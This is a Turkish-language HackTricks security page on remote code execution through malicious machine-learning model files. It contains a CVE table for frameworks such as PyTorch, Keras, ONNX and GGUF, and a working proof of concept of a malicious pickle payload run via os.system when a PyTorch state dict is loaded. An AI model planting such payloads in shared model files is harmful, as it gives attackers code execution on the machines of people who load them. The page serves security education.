Modeller RCE
Reading time: 4 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Modellerin RCE'ye Yüklenmesi
Makine Öğrenimi modelleri genellikle ONNX, TensorFlow, PyTorch gibi farklı formatlarda paylaşılır. Bu modeller, geliştiricilerin makinelerine veya üretim sistemlerine yüklenerek kullanılabilir. Genellikle modeller kötü niyetli kod içermemelidir, ancak model yükleme kütüphanesindeki bir güvenlik açığı veya istenen bir özellik nedeniyle modelin sistemde rastgele kod çalıştırmak için kullanılabileceği bazı durumlar vardır.
Yazım zamanı itibarıyla bu tür güvenlik açıklarına bazı örnekler şunlardır:
Framework / Araç | Güvenlik Açığı (CVE mevcutsa) | RCE Vektörü | Referanslar |
---|---|---|---|
PyTorch (Python) | Güvensiz serileştirme torch.load (CVE-2025-32434) | Model kontrol noktasındaki kötü niyetli pickle, kod çalıştırmaya yol açar ( weights_only korumasını atlar) | |
PyTorch TorchServe | ShellTorch – CVE-2023-43654, CVE-2022-1471 | SSRF + kötü niyetli model indirme, kod çalıştırmaya neden olur; yönetim API'sinde Java serileştirme RCE | |
TensorFlow/Keras | CVE-2021-37678 (güvensiz YAML) CVE-2024-3660 (Keras Lambda) | YAML'den model yüklemek yaml.unsafe_load kullanır (kod çalıştırma) Lambda katmanı ile model yüklemek rastgele Python kodu çalıştırır | |
TensorFlow (TFLite) | CVE-2022-23559 (TFLite ayrıştırma) | Özel olarak hazırlanmış .tflite modeli, tam sayı taşması tetikler → bellek bozulması (potansiyel RCE) | |
Scikit-learn (Python) | CVE-2020-13092 (joblib/pickle) | joblib.load ile bir model yüklemek, saldırganın __reduce__ yükünü çalıştırır | |
NumPy (Python) | CVE-2019-6446 (güvensiz np.load ) tartışmalı | numpy.load varsayılan olarak pickle nesne dizilerine izin veriyordu – kötü niyetli .npy/.npz kod çalıştırmayı tetikler | |
ONNX / ONNX Runtime | CVE-2022-25882 (dizin geçişi) CVE-2024-5187 (tar geçişi) | ONNX modelinin dış-ağırlık yolu dizinden çıkabilir (rastgele dosyaları okuyabilir) Kötü niyetli ONNX model tar, rastgele dosyaları yazabilir (RCE'ye yol açar) | |
ONNX Runtime (tasarım riski) | (CVE yok) ONNX özel ops / kontrol akışı | Özel operatör içeren model, saldırganın yerel kodunu yüklemeyi gerektirir; karmaşık model grafikleri, istenmeyen hesaplamaları çalıştırmak için mantığı kötüye kullanır | |
NVIDIA Triton Server | CVE-2023-31036 (yol geçişi) | --model-control etkinleştirildiğinde model yükleme API'si, dosyaları yazmak için göreli yol geçişine izin verir (örneğin, RCE için .bashrc 'yi geçersiz kılmak) | |
GGML (GGUF formatı) | CVE-2024-25664 … 25668 (birden fazla bellek taşması) | Bozuk GGUF model dosyası, ayrıştırıcıda bellek tamponu taşmalarına neden olur, kurban sistemde rastgele kod çalıştırmayı sağlar | |
Keras (eski formatlar) | (Yeni CVE yok) Eski Keras H5 modeli | Kötü niyetli HDF5 (.h5 ) modeli, Lambda katmanı kodu yüklenirken hala çalışır (Keras güvenli_modu eski formatı kapsamaz – “gerileme saldırısı”) | |
Diğerleri (genel) | Tasarım hatası – Pickle serileştirme | Birçok ML aracı (örneğin, pickle tabanlı model formatları, Python pickle.load ) model dosyalarına gömülü rastgele kodu çalıştıracaktır, önlem alınmadıkça |
Ayrıca, PyTorch tarafından kullanılanlar gibi bazı python pickle tabanlı modeller, weights_only=True
ile yüklenmediklerinde sistemde rastgele kod çalıştırmak için kullanılabilir. Bu nedenle, yukarıdaki tabloda listelenmemiş olsalar bile, herhangi bir pickle tabanlı model bu tür saldırılara özellikle duyarlı olabilir.
Örnek:
- Modeli oluştur:
# attacker_payload.py
import torch
import os
class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))
# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}
# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")
- Modeli yükle:
# victim_load.py
import torch
import torch.nn as nn
class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)
model = MyModel()
# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
# /tmp/pwned.txt is created even if you get an error
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.